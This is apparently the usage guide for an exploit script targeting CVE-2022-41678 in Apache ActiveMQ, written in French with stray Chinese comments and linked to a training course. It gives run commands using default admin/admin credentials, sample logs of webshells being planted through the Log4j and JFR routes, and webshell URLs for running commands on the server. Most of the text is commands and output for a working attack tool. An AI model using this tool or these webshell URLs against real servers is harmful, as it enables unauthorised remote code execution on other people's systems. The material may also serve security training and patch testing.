
CVE-2022-41678 est une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ. Cette vulnérabilité permet à un attaquant de modifier la configuration Log4j ou JFR (Java Flight Recorder) via l'interface JMX (Java Management Extensions), d'écrire un webshell JSP malveillant dans le répertoire web du serveur, et ainsi parvenir à une exécution de code à distance.
Document de référence : https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 est une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ. Cette vulnérabilité permet à un attaquant, via l'interface JMX (Java Management Extensions), de modifier la configuration Log4j ou la configuration JFR (Java Flight Recorder) pour écrire un JSP webshell malveillant dans le répertoire web du serveur, réalisant ainsi une exécution de code à distance.
Cette vulnérabilité affecte plusieurs versions d'Apache ActiveMQ ; les versions spécifiques concernées dépendent de l'utilisation des configurations Log4j et JFR.
pip install requests
Avec les identifiants admin/admin par défaut et la méthode d'exploitation automatique :
python exp.py http://target:8161
Vous pouvez également spécifier le nom d'utilisateur et le mot de passe avec les options -u et -p :
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
En plus de la méthode d'exploitation Log4j par défaut, il est possible d'utiliser la méthode JFR via l'option --exploit jfr.
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
Après une exploitation réussie, vous pouvez exécuter des commandes en accédant aux URL suivantes :
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
Par exemple, pour exécuter la commande id :
http://target:8161/admin/shell.jsp?cmd=id
| Paramètre | Abréviation | Type | Valeur par défaut | Description |
|---|---|---|---|---|
--username | -u | chaîne | admin | Nom d'utilisateur de la console ActiveMQ |
--password | -p | chaîne | admin | Mot de passe de la console ActiveMQ |
--exploit | -e | chaîne | auto | Méthode d'exploitation, valeurs possibles : auto, log4j, jfr |
url | - | chaîne | - | URL de la cible ActiveMQ (paramètre requis) |